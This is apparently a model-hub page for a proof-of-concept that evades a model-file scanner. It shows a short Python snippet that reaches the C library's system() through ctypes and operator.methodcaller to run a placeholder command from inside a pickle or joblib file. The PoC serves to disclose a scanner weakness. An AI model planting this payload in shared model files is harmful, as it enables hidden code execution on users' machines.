Downloads · 30 days
0
xiaoyaoes/modelscan-ctypes-bypass-poc
modelscan-ctypes-bypass-poc is a machine learning model from xiaoyaoes. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for generic.
This bypass calls the C library's system() function directly, completely bypassing Python-level function blocklists.
Downloads · 30 days
0
Access
Public
Updated Jun 18, 2026
Repo size
255 B
Likes
0
Public
Click a slice to open those files.
Other1.5 KB · 61%
From the Hugging Face model README
ctypes.CDLL(None) + operator.methodcaller()This bypass calls the C library's system() function directly, completely bypassing Python-level function blocklists.
import ctypes, operator
operator.call(
operator.methodcaller("system", b"CMD"),
ctypes.CDLL(None)
)
Size: 117 bytes (.pkl) / 141 bytes (.joblib)